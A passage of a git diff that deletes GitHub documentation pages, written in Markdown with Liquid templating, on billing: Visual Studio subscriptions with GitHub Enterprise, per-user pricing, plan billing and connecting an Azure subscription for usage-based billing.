[AUTOTITLE](/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account), any members with a missing value for the "Name" or "Profile" columns have not yet accepted an invitation to join an organization within the enterprise. - -You can also see pending {% data variables.product.prodname_enterprise %} invitations to subscribers in {% data variables.visual_studio.prodname_vss_admin_portal_with_url %}. - -## About licenses for {% data variables.product.prodname_ghe_server %} - -{% data reusables.enterprise.ghe-includes-ghec-and-ghes %} For more information, see [AUTOTITLE](/admin/overview/about-github-for-enterprises#about-deployment-options). - -For users only on {% data variables.product.prodname_ghe_server %}, each {% data variables.product.prodname_vs %} subscriber will only consume one license as long as the email address associated with their {% data variables.product.prodname_ghe_server %} account matches their {% data variables.product.prodname_vs %} UPN. For users on both {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}, only one license will be consumed as long as you follow the instructions in the 'About licenses for {% data variables.visual_studio.prodname_vss_ghec %}' section, and the user's accounts are linked as described in [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud). - -## Further reading - -* [{% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/visualstudio/subscriptions/access-github) in Microsoft Docs -* [Use {% data variables.product.prodname_vs %} or {% data variables.product.prodname_vscode %} to deploy apps from {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) in Microsoft Docs diff --git a/content/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md b/content/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md deleted file mode 100644 index 93c0b84163bd..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Managing licenses for Visual Studio subscriptions with GitHub Enterprise -shortTitle: Visual Studio & GitHub Enterprise -intro: '{% data reusables.enterprise-accounts.vss-ghe-description %}' -versions: - ghec: '*' -redirect_from: - - /billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise -children: - - /about-visual-studio-subscriptions-with-github-enterprise - - /setting-up-visual-studio-subscriptions-with-github-enterprise ---- - diff --git a/content/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md b/content/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md deleted file mode 100644 index 8f097452b461..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Setting up Visual Studio subscriptions with GitHub Enterprise -intro: 'Your team''s subscription to {% data variables.product.prodname_vs %} can also provide access to {% data variables.product.prodname_enterprise %}.' -versions: - ghec: '*' -redirect_from: - - /billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise -type: how_to -topics: - - Enterprise - - Licensing -shortTitle: Set up ---- - -## About setup of {% data variables.visual_studio.prodname_vss_ghe %} - -{% data reusables.enterprise-accounts.vss-ghe-description %} See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise). - -This guide shows you how your team can get {% data variables.product.prodname_vs %} subscribers licensed and started with {% data variables.product.prodname_enterprise %}. - -## Roles for {% data variables.visual_studio.prodname_vss_ghe %} - -Before setting up {% data variables.visual_studio.prodname_vss_ghe %}, it's important to understand the roles for this combined offering. - -| Role | Service | Description | More information | -| :- | :- | :- | :- | -| **Subscriptions admin** | {% data variables.product.prodname_vs %} subscription | Person who assigns licenses for {% data variables.product.prodname_vs %} subscription | [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs | -| **Subscriber** | {% data variables.product.prodname_vs %} subscription | Person who uses a license for {% data variables.product.prodname_vs %} subscription | [Visual Studio Subscriptions documentation](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) in Microsoft Docs | -| **Enterprise owner** | {% data variables.product.prodname_dotcom %} | Person who has a personal account that's an administrator of an enterprise on {% data variables.location.product_location %} | [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner) | -| **Organization owner** | {% data variables.product.prodname_dotcom %} | Person who has a personal account that's an owner of an organization in your team's enterprise on {% data variables.location.product_location %} | [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners) | -| **Enterprise member** | {% data variables.product.prodname_dotcom %} | Person who has a personal account that's a member of an enterprise on {% data variables.location.product_location %} | [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members) | - -## Prerequisites - -* Your team's {% data variables.product.prodname_vs %} subscription must include {% data variables.product.prodname_enterprise %}. For more information, see [{% data variables.product.prodname_vs %} Subscriptions and Benefits](https://visualstudio.microsoft.com/subscriptions/) on the {% data variables.product.prodname_vs %} website and [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs. - -* Your team must have an enterprise on {% data variables.location.product_location %}. If you're not sure whether your team has an enterprise, contact your {% data variables.product.prodname_dotcom %} administrator. If you're not sure who on your team is responsible for {% data variables.product.prodname_dotcom %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see [AUTOTITLE](/admin/overview/about-enterprise-accounts). - -## Setting up {% data variables.visual_studio.prodname_vss_ghe %} - -To set up {% data variables.visual_studio.prodname_vss_ghe %}, members of your team must complete the following tasks. - -One person may be able to complete the tasks because the person has all of the roles, but you may need to coordinate the tasks with multiple people. For more information, see [Roles for {% data variables.visual_studio.prodname_vss_ghe %}](#roles-for-visual-studio-subscriptions-with-github-enterprise). - -1. An enterprise owner must create at least one organization in your enterprise on {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise). - -1. The subscription admin must assign a license for {% data variables.product.prodname_vs %} to a subscriber in {% data variables.visual_studio.prodname_vss_admin_portal_with_url %}. For more information, see [Overview of the {% data variables.product.prodname_vs %} Subscriptions Administrator Portal](https://docs.microsoft.com/en-us/visualstudio/subscriptions/using-admin-portal) and [Assign {% data variables.product.prodname_vs %} Licenses in the {% data variables.product.prodname_vs %} Subscriptions Administration Portal](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-license) in Microsoft Docs. - -1. Optionally, if the subscription admin assigned licenses to subscribers in {% data variables.product.prodname_vs %} before adding {% data variables.product.prodname_enterprise %} to the subscription, the subscription admin can move the subscribers to the combined offering in the {% data variables.product.prodname_vs %} administration portal. For more information, see [Manage {% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-github#moving-to-visual-studio-with-github-enterprise) in Microsoft Docs. - -1. If the subscription admin has not disabled email notifications, the subscriber will receive two confirmation emails. For more information, see [{% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/access-github#what-is-the-visual-studio-subscription-with-github-enterprise-setup-process) in Microsoft Docs. - -1. An organization owner must invite the subscriber to the organization on {% data variables.location.product_location %} from step 1. The subscriber can accept the invitation with an existing personal account or create a new account. After the subscriber joins the organization, the subscriber becomes an enterprise member. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization). - - > [!TIP] - > * While not required, we recommend that the organization owner sends an invitation to the same email address used for the subscriber's User Primary Name (UPN). When the email address on {% data variables.location.product_location %} matches the subscriber's UPN, you can ensure that another enterprise does not claim the subscriber's license. - > * If the subscriber accepts the invitation to the organization with an existing personal account on {% data variables.location.product_location %}, we recommend that the subscriber add the email address they use for {% data variables.product.prodname_vs %} to their personal account on {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). - > * If the organization owner must invite a large number of subscribers, a script may make the process faster. For more information, see [the sample PowerShell script](https://github.com/github/platform-samples/blob/master/api/powershell/invite_members_to_org.ps1) in the `github/platform-samples` repository. - -After {% data variables.visual_studio.prodname_vss_ghe %} is set up for subscribers on your team, enterprise owners can review licensing information on {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account). - -## Further reading - -* [AUTOTITLE](/get-started/onboarding/getting-started-with-github-enterprise-cloud) diff --git a/content/billing/managing-the-plan-for-your-github-account/about-billing-for-plans.md b/content/billing/managing-the-plan-for-your-github-account/about-billing-for-plans.md deleted file mode 100644 index e8a3b2b75b1f..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/about-billing-for-plans.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: About billing for plans -intro: '{% data variables.product.company_short %} offers free and paid plans for every developer or team.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-accounts - - /articles/what-is-the-total-cost-of-using-an-organization-account - - /articles/what-are-the-costs-of-using-an-organization-account - - /articles/what-plan-should-i-choose - - /articles/do-you-have-custom-plans - - /articles/user-account-billing-plans - - /articles/organization-billing-plans - - /articles/github-s-billing-plans - - /articles/about-billing-for-github-accounts - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/about-billing-for-github-accounts - - /billing/managing-billing-for-your-github-account/about-billing-for-github-accounts -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Accounts - - Discounts - - Fundamentals - - Upgrades -shortTitle: About plans ---- - -{% data reusables.billing.about-billing %} This article discusses the "plan" component of your bill, specifically. For more information about the other components, see [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-on-github). - -For more information about the plans available for your account, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -You can see pricing and a full list of features for each plan at {% data variables.product.pricing_url %}. {% data variables.product.company_short %} does not offer custom products or plans. - -You can choose monthly or yearly billing, and you can upgrade or downgrade your plan at any time. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account). - -You can purchase other subscriptions and usage-based billing with your existing payment information. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-on-github). - -{% data reusables.accounts.accounts-billed-separately %} - -{% data reusables.user-settings.context_switcher %} - -> [!TIP] -> {% data variables.product.prodname_dotcom %} has programs for verified students and academic faculty, which include academic discounts. For more information, visit [{% data variables.product.prodname_education %}](https://education.github.com/). diff --git a/content/billing/managing-the-plan-for-your-github-account/about-per-user-pricing.md b/content/billing/managing-the-plan-for-your-github-account/about-per-user-pricing.md deleted file mode 100644 index db511494348d..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/about-per-user-pricing.md +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: About per-user pricing -intro: 'Learn about per-user pricing for organizations{% ifversion ghec or ghes %} and enterprises{% endif %}.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/about-per-user-pricing - - /articles/about-per-user-pricing - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/about-per-user-pricing - - /github/billing/managing-billing-for-your-github-account/about-per-user-pricing -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Downgrades - - Enterprise - - Licensing - - Organizations ---- - -{% ifversion fpt %} - -{% data reusables.billing.about-billing %} For organizations, the "plan" component of the bill is based on the number of licensed seats you choose to purchase. - -New organizations on {% data variables.product.prodname_dotcom %} can build public and open-source projects with {% data variables.product.prodname_free_team %}, or upgrade to a paid plan. See [AUTOTITLE](/get-started/learning-about-github/githubs-plans) and [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan). - ->[!NOTE] Organizations who upgraded to a paid plan before May 11, 2016 can choose to stay on their existing per-repository plan or switch to per-user pricing. {% data variables.product.company_short %} will notify you twelve months before any mandated change to your subscription. For more information on switching your subscription, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan). - -{% else %} - -The foundation of your bill is the number of user accounts using your{% ifversion ghec %} organization or{% endif %} enterprise. - -{% data reusables.enterprise-licensing.unique-user-licensing-model %} - -To ensure the same user isn't consuming more than one license for multiple enterprise deployments, you can synchronize license usage between your {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} environments. See [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise). - -In addition to {% ifversion enterprise-licensing-language %}showing billable {% data variables.product.prodname_enterprise %} licenses{% else %}licensed seats{% endif %}, your bill may include other charges, such as {% data variables.product.prodname_GH_advanced_security %}. See [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-for-your-enterprise). -{% endif %} - -{% ifversion metered-ghe-ghas %} - -## Two billing models for {% data variables.product.prodname_enterprise %} licenses - -With usage-based billing, you pay for the number of licenses you use each month. You do not need to buy a predefined number of licenses in advance. See, [AUTOTITLE](/billing/using-the-new-billing-platform/about-usage-based-billing-for-licenses). - -You are already enrolled in usage-based billing if you created a trial of {% data variables.product.prodname_ghe_cloud %} on or after August 1, 2024. - -If you currently pay for your {% data variables.product.prodname_enterprise %} licenses by invoice with a volume, subscription, or prepaid agreement, you will continue to be billed in this way until your agreement expires. At renewal, you have the option to switch to the metered billing model. - -{% endif %} - -## People that consume a license - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -{% ifversion fpt %} - -{% data variables.product.company_short %} bills for the following people: - -* Organization members, including owners -* Outside collaborators on private repositories owned by your organization, excluding forks -* Anyone with a pending invitation to become an outside collaborator on private or internal repositories owned by your organization, excluding forks -* Dormant users - -> [!NOTE] -> * {% data variables.product.company_short %} counts each outside collaborator once for billing purposes, even if the user account has access to multiple repositories owned by your organization. -> * {% data reusables.organizations.org-invite-scim %} -> * Inviting an outside collaborator to a repository using their email address temporarily uses an available seat, even if they already have access to other repositories. After they accept the invite, the seat will be freed up again. However, inviting them using their username does not temporarily use a seat. - -{% data variables.product.company_short %} does not bill for the following people: - -* Billing managers -* Anyone with a pending invitation to become a billing manager -* Anyone with a pending invitation to become an outside collaborator on a public repository owned by your organization - -{% else %} - -{% data variables.product.company_short %} bills for the following accounts for each deployment of {% data variables.product.prodname_enterprise %}. - -### Accounts that consume a license on {% data variables.product.prodname_ghe_cloud %} - -{% data variables.product.company_short %} bills for each of the following accounts on {% data variables.product.prodname_ghe_cloud %}: - -* Enterprise owners who are a member or owner of at least one organization in the enterprise -* Organization members, including owners -* Outside collaborators on private or internal repositories owned by your organization, excluding forks -* Dormant users who are a member or owner of at least one organization in the enterprise - -If your enterprise does not use {% data variables.product.prodname_emus %}, you will also be billed for each of the following accounts: - -* Anyone with a pending invitation to become an organization owner or member -* Anyone with a pending invitation to become an outside collaborator on private or internal repositories owned by your organization, excluding forks - -> [!NOTE] -> * {% data variables.product.company_short %} counts each member or outside collaborator once for billing purposes, even if the user account has membership in multiple organizations in an enterprise or access to multiple repositories owned by your organization. -> * {% data reusables.organizations.org-invite-scim %} -> * Inviting an outside collaborator to a repository using their email address temporarily uses an available {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %}, even if they already have access to other repositories. After they accept the invite, the {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %} will be freed up again. However, inviting them using their username does not temporarily use a {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %}. - -{% data variables.product.company_short %} does not bill for any of the following accounts: - -* {% data variables.enterprise.prodname_managed_users_caps %} that are suspended -* Enterprise owners who are not a member or owner of at least one organization in the enterprise, except for the user who set up the enterprise -* Enterprise billing managers -* Billing managers for individual organizations -* Anyone with a pending invitation to become a billing manager -* Anyone with a pending invitation to become an outside collaborator on a public repository owned by your organization -* Guest collaborators who are not organization members (see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#guest-collaborators)) -* Users of {% data variables.visual_studio.prodname_vss_ghe %} whose accounts on {% data variables.product.prodname_dotcom %} are not linked, and who do not meet any of the other criteria for per-user pricing -* Users who have been provisioned with a {% data variables.enterprise.prodname_managed_user %}, but are not members of any organizations in the enterprise - -### Accounts that consume a license on {% data variables.product.prodname_ghe_server %} - -After a user successfully authenticates to a {% data variables.product.prodname_ghe_server %} instance for the first time, the user consumes a {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %}. - -Suspended users are not counted when calculating the number of {% ifversion enterprise-licensing-language %}consumed licenses{% else %}licensed users consuming seats{% endif %}. For more information, see [Suspending and unsuspending users]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users){% ifversion not ghes %} in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}.{% endif %} - -Dormant users do occupy a {% ifversion enterprise-licensing-language %}license{% else %}seat license{% endif %}. Administrators can suspend dormant users to free licenses. For more information, see [Managing dormant users]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users){% ifversion not ghes %} in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}.{% endif %} - -{% endif %} - -## About changes to your subscription - -{% ifversion fpt %} - -You can change your {% data variables.product.prodname_dotcom %} subscription at any time. - -### About changes for organizations on per-user plans - -{% endif %} - -{% ifversion ghec %}If you use usage-based billing, you can reduce the number of licenses you use by removing users from your enterprise account. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise). - -{% else %}You can add more {% ifversion enterprise-licensing-language %}licenses{% else %}licensed seats{% endif %} to your {% ifversion fpt or ghec %} organization{% endif %}{% ifversion ghec %} or{% endif %}{% ifversion ghec or ghes %} enterprise{% endif %} at any time. If you pay for more {% ifversion enterprise-licensing-language %}licenses{% else %}seats{% endif %} than are being used, you can also reduce the number of {% ifversion enterprise-licensing-language %}licenses{% else %}seats{% endif %}. This only applies if you currently pay for your {% data variables.product.prodname_enterprise %} licenses through a volume, subscription, or prepaid agreement.{% endif %}{% ifversion fpt %} See [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan) and [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan). - -If you have questions about your subscription, you can contact {% data variables.contact.contact_support %}. - -To further support your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like SAML single sign-on and advanced auditing. {% data reusables.enterprise.link-to-ghec-trial %} - -For more information about per-user pricing for {% data variables.product.prodname_ghe_cloud %}, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/billing/managing-the-plan-for-your-github-account/about-per-user-pricing). - -{% else %} - -If you use an enterprise account and have questions about changes to your subscription, contact {% data variables.contact.contact_enterprise_sales %}. - -{% endif %} - -{% ifversion ghec %} - -If you use an individual organization on {% data variables.product.prodname_ghe_cloud %}, you can upgrade or downgrade your subscription. See [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan) or [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan). If you have questions about your subscription, you can contact {% data variables.contact.contact_support %}. - -{% endif %} - -{% ifversion fpt %} - -### About changes for organizations on per-repository plans - -You can upgrade or downgrade between legacy paid plans in your organization's billing settings. When you upgrade to a plan with more private repositories, {% data variables.product.company_short %} immediately moves your account to your new plan and bills you for the difference in price, prorated for the number of days left in your billing cycle. - -When you downgrade to a legacy paid plan with fewer private repositories, your new plan will take effect on your next billing date. If you have more private repositories than your new plan allows for, your private repositories will be locked when your new plan takes effect. To reduce your number of private repositories, you can make some of your private repositories public, or you can clone your private repositories locally and delete the copies on {% data variables.product.prodname_dotcom %}. - -{% endif %} - -## Further reading - -{%- ifversion not fpt %} -* [AUTOTITLE](/admin/overview/about-enterprise-accounts) -* [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) -{%- endif %} -* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization) diff --git a/content/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription.md b/content/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription.md deleted file mode 100644 index 4bd9a7c230ff..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription.md +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Connecting an Azure subscription -intro: 'You can enable and pay for usage-based billing on {% data variables.location.product_location %} by connecting an Azure subscription.' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise - - /github/setting-up-and-managing-billing-and-payments-on-github/connecting-an-azure-subscription-to-your-enterprise - - /github/setting-up-and-managing-your-enterprise/connecting-an-azure-subscription-to-your-enterprise - - /billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise - - /billing/managing-billing-for-your-github-account/connecting-an-azure-subscription -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Connect an Azure subscription ---- - -{% ifversion metered-ghe-ghas %} - -{% data reusables.billing.usage-based-billing %} - -{% endif %} - -## About connection of an Azure subscription - -You can pay for usage of {% data variables.product.github %} features through Azure by connecting an Azure Subscription ID to your organization {% ifversion ghec %}or enterprise{% endif %} account on {% data variables.location.product_location %}. {% ifversion fpt %}For more information about organization accounts, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations).{% elsif ghec %} - -In this article, the instructions that you must follow to connect an Azure subscription depend on whether your company uses a single organization or an enterprise account on {% data variables.location.product_location %}. For more information about the differences between these two types of accounts, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts).{% endif %} - -{% ifversion ghec %} - -If you use {% data variables.product.prodname_ghe_cloud %} through a Microsoft Enterprise Agreement, connecting an Azure subscription is the only way to use {% data variables.product.prodname_GH_advanced_security %}, {% data variables.product.prodname_github_codespaces %}, or {% data variables.product.prodname_copilot %}, or to use {% data variables.product.prodname_actions %}, Git Large File Storage (LFS), or {% data variables.product.prodname_registry %} beyond your plan's included amounts. - -{% endif %} - -{% ifversion fpt or ghec %} - -## About usage-based billing on {% data variables.product.prodname_dotcom %} - -{% data variables.product.company_short %} provides usage-based billing for the following features and situations. You can learn more about billing and spending limits. - -| Billed feature or situation | Information about billing | Information about spending limits | -| :---------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------: | -| {% data variables.product.prodname_github_codespaces %} usage | [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces) | [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces) | -| {% data variables.product.prodname_actions %} usage beyond the amounts included with your plan | [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions) | [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#about-spending-limits) | -| {% data variables.product.prodname_registry %} usage beyond the amounts included with your plan | [AUTOTITLE](/billing/managing-billing-for-github-packages/about-billing-for-github-packages) | [AUTOTITLE](/billing/managing-billing-for-github-packages/about-billing-for-github-packages#about-spending-limits) | -| {% data variables.product.prodname_copilot_business_short %} usage | [AUTOTITLE](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot#about-billing-for-github-copilot-business-and-github-copilot-enterprise) | N/A | -| {% ifversion metered-ghe-ghas %} | -| {% data variables.product.prodname_GH_advanced_security %} usage (only available with a trial of {% data variables.product.prodname_ghe_cloud %}) | [AUTOTITLE](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security#usage-based-billing-for-github-advanced-security) | N/A | -| {% data variables.product.prodname_enterprise %} usage | [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-for-your-enterprise) | N/A | - -{% endif %} - -{% endif %} - -## About billing through Azure - -If you link your {% data variables.product.company_short %} account to Azure, any usage-based costs starting from that point will be billed through Azure and charged on the 1st of each month. However, remaining {% data variables.product.company_short %} charges, for example charges for your {% data variables.product.prodname_dotcom %} plan, will still be billed on your usual billing date. - -For example, you link your Azure subscription to your organization {% ifversion ghec %}or enterprise{% endif %} account on June 16th and you also have a {% data variables.product.prodname_copilot_for_business %} subscription. From that date onwards, any usage costs for {% data variables.product.prodname_copilot_business_short %} will be included in your Azure bill and charged on July 1st. However, any charges incurred before June 16th for {% data variables.product.prodname_copilot_business_short %} will be billed separately through {% data variables.product.company_short %} on your account's usual billing date. - -## Prerequisites - -* You must have {% ifversion ghec %}either {% endif %}an organization {% ifversion ghec %}or an enterprise {% endif %}account on {% data variables.location.product_location %}. For more information about the differences between these two types of accounts, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - - If the organization you want to connect an Azure subscription to belongs to an enterprise account, you must connect your Azure subscription to the enterprise account, not the organization. {% ifversion fpt %}See [the {% data variables.product.prodname_ghe_cloud %} version](/enterprise-cloud@latest/{{ currentArticle }}) of this article.{% endif %} - -* You must be an owner of the organization{% ifversion ghec %} or enterprise{% endif %} account. See {% ifversion fpt %}[AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).{% elsif ghec %}the following articles. - - * [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) - * [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise) - {% endif %} - -* You must be logged into Azure as a user who is able to provide tenant-wide admin consent, which is required to install {% data variables.product.company_short %}'s Subscription Permission Validation app on the Azure AD tenant. The app requires read access to display a list of available subscriptions, and is only used during this one-time process of connecting the Azure subscription. See [Grant tenant-wide admin consent to an application](https://learn.microsoft.com/azure/active-directory/manage-apps/grant-admin-consent) in Microsoft Docs. - - * Alternatively, before following the instructions in this article, users who are not able to provide tenant-wide admin consent can work with an Azure AD global administrator to configure an admin consent workflow. See [User and admin consent in Azure Active Directory](https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview#admin-consent-workflow) in Microsoft Docs. - - >[!NOTE] If your tenant provides user consent settings, users included in those settings might not require admin consent to install {% data variables.product.company_short %}'s Subscription Permission Validation app. See [User consent](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/user-admin-consent-overview#user-consent) in Microsoft Docs. - -* To select an Azure subscription from the list of available subscriptions, the user must be an owner of the Azure subscription. See [Assign a user as an administrator of an Azure subscription](https://learn.microsoft.com/azure/role-based-access-control/role-assignments-portal-subscription-admin) in Microsoft docs. - -* You must know your Azure subscription ID. See [Get subscription and tenant IDs in the Azure portal](https://learn.microsoft.com/en-us/azure/azure-portal/get-subscription-tenant-id) in the Microsoft Docs or [contact Azure support](https://azure.microsoft.com/support/). - -## Video demonstration of connecting a subscription - -To connect an Azure subscription, you'll need appropriate access permissions on both {% data variables.product.github %} and the Azure billing portal. This may require coordination between two different people. - -To see a demo of the process from beginning to end, see [Billing GitHub consumption through an Azure subscription](https://www.youtube.com/watch?v=Y-f7JKJ4_8Y) on {% data variables.product.company_short %}'s YouTube channel. This video demonstrates the process for an enterprise account. If you're connecting a subscription to an organization account, see [Connecting your Azure subscription to your organization account](/free-pro-team@latest/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription#connecting-your-azure-subscription-to-your-organization-account). - -{% ifversion fpt %} - -## Connecting your Azure subscription to your organization account - -To connect your Azure subscription, you must have owner permissions to the Azure subscription and be an organization owner on {% data variables.product.prodname_dotcom %}. - -> [!NOTE] -> If your organization account on {% data variables.location.product_location %} belongs an enterprise account, you must connect your Azure subscription to the enterprise account instead of the organization account. See [Connecting your Azure subscription to your enterprise account](/enterprise-cloud@latest/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription#connecting-your-azure-subscription-to-your-enterprise-account) in the {% data variables.product.prodname_ghe_cloud %} version of this article. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} - -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing and plans**. -1. Under "Billing Management", to the right of "Metered billing via Azure", click **Add Azure Subscription**. -1. To sign in to your Microsoft account, follow the prompts. -1. Review the "Permissions requested" prompt. If you agree with the terms, click **Accept**. - - {% data reusables.enterprise-accounts.azure-admin-approval-required-message %} - -1. Under "Select a subscription", select the Azure Subscription ID that you want to connect to your organization. {% data reusables.enterprise-accounts.tenant-app-permissions %} - {% data reusables.enterprise-accounts.connect-azure %} - -{% endif %} - -{% ifversion ghec %} - -## Connecting your Azure subscription to your enterprise account - -To connect your Azure subscription, you must have owner permissions to the Azure subscription and be an enterprise owner on {% data variables.product.prodname_dotcom %}. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.billing-tab-both-platforms %} -{% data reusables.enterprise-accounts.payment-information-tab-both-platforms %} - -1. Under "Payment Information", click **Add Azure Subscription**. -1. To sign in to your Microsoft account, follow the prompts. -1. Review the "Permissions requested" prompt. If you agree with the terms, click **Accept**. - - {% data reusables.enterprise-accounts.azure-admin-approval-required-message %} - -1. Under "Select a subscription", select the Azure subscription ID that you want to connect to your enterprise. 